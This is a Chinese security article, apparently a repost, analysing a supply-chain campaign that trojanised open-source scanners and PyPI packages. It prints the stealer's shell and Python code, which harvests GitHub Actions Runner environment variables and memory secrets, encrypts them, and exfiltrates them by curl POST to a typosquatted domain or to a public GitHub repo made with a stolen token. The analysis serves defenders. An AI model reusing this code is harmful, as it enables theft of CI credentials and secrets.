50万凭证被盗,300G数据外泄!多个开源漏扫工具被攻击

admin 2026-04-10 01:22:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 犯罪团伙TeamPCP针对开源安全工具发起协同攻击,通过感染漏洞扫描器、PyPI包等窃取企业密钥和敏感数据。攻击手法包括读取GitHubActionsRunner环境变量、内存转储提取密钥、使用混合加密外泄数据,已造成300GB数据外泄和50万凭证被盗。文章详细分析了恶意代码的技术实现并提供了安全防护建议。 综合评分: 87 文章分类: 漏洞分析,威胁情报,恶意软件,供应链安全,安全工具


cover_image

50万凭证被盗,300G数据外泄!多个开源漏扫工具被攻击

原创

suntiger suntiger

二进制空间安全

2026年3月26日 10:36 北京

将二进制空间安全设为”星标⭐️”

第一时间收到文章更新

事件背景

#

   最近,犯罪团伙TeamPCP正在升级一场协同行动,把攻击目标对准开源安全工具和基础设施。将漏洞扫描器、OpenVSX扩展、PyPI、GitHub Actions流水线等环节,变成窃取企业密钥和敏感数据的通道。目前TeamPCP已在Telegram上公开宣称对多起后续攻击负责,战火仍在蔓延。目前最新动向包括针对Checkmarx的KICS扫描器和OpenVSX扩展攻击,以及PyPI上遭木马化的LiteLLM发行等,如图:

攻击者刻意选择那些已经深度嵌入CI/CD与企业环境的组件,据攻击者透露已经获取外泄压缩数据300GB左右,并在LiteLLM感染事件中盗窃了约50万凭证信息,同时暗示与其他团伙仍有协同、后续活动未将继续。

关键技术剖析

#

任何目标代码仓库被感染后,首段恶意代码会定位 GitHub Actions Runner 相关进程,并读取其环境变量:

_COLLECT_PIDS="$$"for _name in Runner.Worker Runner.Listener runsvc run.sh; do  _PIDS=$(pgrep -f "$_name" 2>/dev/null || true)  [ -n "$_PIDS" ] && _COLLECT_PIDS="$_COLLECT_PIDS $_PIDS"done
COLLECTED="/tmp/runner_collected_$$.txt": > "$COLLECTED"
for&nbsp;_PID&nbsp;in&nbsp;$_COLLECT_PIDS;&nbsp;do&nbsp; _ENVIRON="/proc/${_PID}/environ"&nbsp; [ -r&nbsp;"$_ENVIRON"&nbsp;] ||&nbsp;continue&nbsp;&nbsp;while&nbsp;IFS=&nbsp;read&nbsp;-r line;&nbsp;do&nbsp; &nbsp; key="${line%%=*}"&nbsp; &nbsp; val="${line#*=}"&nbsp; &nbsp;&nbsp;if&nbsp;echo&nbsp;"$key"&nbsp;| grep -qiE&nbsp;'(env|ssh)';&nbsp;then&nbsp; &nbsp; &nbsp;&nbsp;printf&nbsp;'%s=%s\n'&nbsp;"$key"&nbsp;"$val"&nbsp;>>&nbsp;"$COLLECTED"&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;[ -f&nbsp;"$val"&nbsp;] && [ ! -S&nbsp;"$val"&nbsp;];&nbsp;then&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf&nbsp;'\n[%s]\n'&nbsp;"$val"&nbsp;>>&nbsp;"$COLLECTED"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;cat&nbsp;"$val"&nbsp;>>&nbsp;"$COLLECTED"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf&nbsp;'\n'&nbsp;>>&nbsp;"$COLLECTED"&nbsp; &nbsp; &nbsp;&nbsp;fi&nbsp; &nbsp;&nbsp;fi&nbsp;&nbsp;done&nbsp;< <(tr&nbsp;'\0'&nbsp;'\n'&nbsp;<&nbsp;"$_ENVIRON")done

脚本查找 Runner.WorkerRunner.Listenerrunsvcrun.sh 等进程,从 /proc/<pid>/environ 读取以空字节分隔的环境变量,并筛选键名中含 env 或 ssh 的项;若值为文件路径则读取文件内容,一并写入 /tmp/runner_collected_<pid>.txt

在 GitHub托管的 Linux Runner上,恶意代码会解码并执行一段经 base64 编码的 Python 脚本(通常配合 sudo):

import&nbsp;sys, os, re
def&nbsp;get_pid():&nbsp; &nbsp;&nbsp;for&nbsp;pid&nbsp;in&nbsp;(p&nbsp;for&nbsp;p&nbsp;in&nbsp;os.listdir('/proc')&nbsp;if&nbsp;p.isdigit()):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;open(os.path.join('/proc', pid,&nbsp;'cmdline'),&nbsp;'rb')&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;b'Runner.Worker'&nbsp;in&nbsp;f.read():&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;pid&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;OSError:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp;&nbsp;raise&nbsp;SystemExit(0)
pid = get_pid()map_path =&nbsp;f"/proc/{pid}/maps"mem_path =&nbsp;f"/proc/{pid}/mem"
with&nbsp;open(map_path,&nbsp;'r')&nbsp;as&nbsp;map_f,&nbsp;open(mem_path,&nbsp;'rb',&nbsp;0)&nbsp;as&nbsp;mem_f:&nbsp; &nbsp;&nbsp;for&nbsp;line&nbsp;in&nbsp;map_f:&nbsp; &nbsp; &nbsp; &nbsp; m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;m&nbsp;or&nbsp;m.group(3) !=&nbsp;'r':&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp; &nbsp; &nbsp; start =&nbsp;int(m.group(1),&nbsp;16)&nbsp; &nbsp; &nbsp; &nbsp; end &nbsp; =&nbsp;int(m.group(2),&nbsp;16)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;start > sys.maxsize:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue&nbsp; &nbsp; &nbsp; &nbsp; mem_f.seek(start)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk = mem_f.read(end - start)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.buffer.write(chunk)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;OSError:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

该脚本通过 /proc/*/cmdline 定位 Runner.Worker 进程,结合 /proc/<pid>/maps 找出可读内存区,再从 /proc/<pid>/mem 读出各段数据。外层 shell 再对原始内存转储用 grep 匹配 GitHub Actions 在 Runner.Worker 堆中使用的 JSON 形态:"<name>":{"value":"<secret>","isSecret":true}

这一手法与 GitHub 文档中关于托管 Runner 在 Linux/macOS 上允许无密码 sudo 的说明相符:高权限便于访问 /proc/<pid>/mem,绕开部分环境下对 ptrace、Yama LSM 等的限制。需要强调的是:并非仓库、组织或环境中配置的每一个密钥都会出现在该进程内存里;只有实际被工作流引用的密钥才会注入 Runner,且 fork PR、可复用工作流、Dependabot 触发等场景下还有额外限制。

在自托管 Runner 或非 Linux 环境下,会执行另一段 base64 编码的 Python 载荷,其注释中自称为 ## TeamPCP Cloud stealer,通过 emit(读文件)、run(执行命令)、walk(递归遍历)等函数在机器上系统性地搜索敏感数据。

目标类型覆盖极广:

数据外泄前,恶意代码使用典型的混合加密:

openssl rand&nbsp;32&nbsp;>&nbsp;"$_SESSION_KEY"&nbsp;2>/dev/nullopenssl enc -aes-256-cbc -in&nbsp;"$COLLECTED"&nbsp;-out&nbsp;"$_ENC_FILE"&nbsp;\&nbsp; -pass&nbsp;"file:$_SESSION_KEY"&nbsp;-pbkdf2&nbsp;2>/dev/nullopenssl pkeyutl -encrypt -pubin -inkey&nbsp;"$_PUB_KEY_PEM"&nbsp;\&nbsp; -in&nbsp;"$_SESSION_KEY"&nbsp;-out&nbsp;"$_ENC_KEY"&nbsp;\&nbsp; -pkeyopt rsa_padding_mode:oaep&nbsp;2>/dev/nulltar -czf&nbsp;"$_BUNDLE"&nbsp;-C&nbsp;"$_WORKDIR"&nbsp;payload.enc session.key.enc&nbsp;2>/dev/null

随机 32 字节经 PBKDF2 派生 AES-256-CBC 的密钥与 IV;再用攻击者内置的 RSA-4096 公钥、OAEP 填充加密会话材料;加密后的载荷与封装后的密钥一并打入 tpcp.tar.gz。若无对应私钥,即便截获流量也难以解密内容。

通过HTTPS POST 到仿冒域名:

_HTTP=$(curl -s -o /dev/null&nbsp;-w&nbsp;"%{http_code}"&nbsp;-X&nbsp;POST&nbsp;\&nbsp;&nbsp;https://scan.aquasecurtiy.org \&nbsp; -H&nbsp;"Content-Type: application/octet-stream"&nbsp;\&nbsp; -H&nbsp;"X-Filename: tpcp.tar.gz"&nbsp;\&nbsp; --data-binary&nbsp;"@${_BUNDLE}"&nbsp;2>/dev/null&nbsp;|| echo&nbsp;"000")

若主端点未返回 2xx,且存在 INPUT_GITHUB_PAT,恶意代码会尝试用该令牌在受害者账号下创建公开仓库并上传资产。备用逻辑使用 /user/repos 等需用户级权限的接口,默认仅仓库范围的 GITHUB_TOKEN 往往无法完成该步骤,因此向工作流传入真实 PAT 的场景风险尤其高:

if&nbsp;[[ !&nbsp;"$_HTTP"&nbsp;=~ ^2&nbsp;]] && [ -n&nbsp;"${INPUT_GITHUB_PAT:-}"&nbsp;]; then&nbsp; _REPO="tpcp-docs"&nbsp; _GH_AUTH="Authorization: token&nbsp;${INPUT_GITHUB_PAT}"&nbsp; _GH_API="https://api.github.com"
&nbsp;&nbsp;# 在受害者账号下创建公开仓库&nbsp;&nbsp;curl&nbsp;-s&nbsp;-X&nbsp;POST&nbsp;"${_GH_API}/user/repos"&nbsp;\&nbsp; &nbsp;&nbsp;-H&nbsp;"$_GH_AUTH"&nbsp;\&nbsp; &nbsp;&nbsp;-d&nbsp;'{"name":"tpcp-docs","private":false,"auto_init":true}'&nbsp;...
&nbsp;&nbsp;# 创建带时间戳标签的 Release&nbsp; _TAG="data-$(date +%Y%m%d%H%M%S)"&nbsp; _RELEASE_ID=$(curl&nbsp;-s&nbsp;-X&nbsp;POST&nbsp;"${_GH_API}/repos/${_GH_USER}/tpcp-docs/releases"&nbsp;...)
&nbsp;&nbsp;# 将加密包作为 Release 资源上传&nbsp;&nbsp;curl&nbsp;-s&nbsp;-X&nbsp;POST \&nbsp; &nbsp;&nbsp;"https://uploads.github.com/repos/${_GH_USER}/tpcp-docs/releases/${_RELEASE_ID}/assets?name=tpcp.tar.gz"&nbsp;\&nbsp; &nbsp;&nbsp;--data-binary&nbsp;"@${_BUNDLE}"&nbsp;...fi

该路径会在受害者名下创建名为 tpcp-docs 的公开仓库,发布带时间戳标签的 Release,并把加密包作为资源上传;攻击者随后可通过在 GitHub 上搜索 tpcp-docs 定位并拉取数据。其顽固性在于:数据落在 GitHub 自有基础设施上,往往不易被企业防火墙简单拦截;仓库名看似无害,且攻击者不必自建大量外泄基础设施。

最后是清理代码:

rm&nbsp;-rf&nbsp;"$_WORKDIR"&nbsp;"$_PUB_KEY_PEM"firm&nbsp;-f&nbsp;"$COLLECTED"

临时文件被删除;若走了备用通道,则可能留下 tpcp-docs 仓库及出站 HTTPS日志痕迹。

#

#

(全文完)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:二进制空间安全 suntiger suntiger《50万凭证被盗,300G数据外泄!多个开源漏扫工具被攻击》

评论:0   参与:  0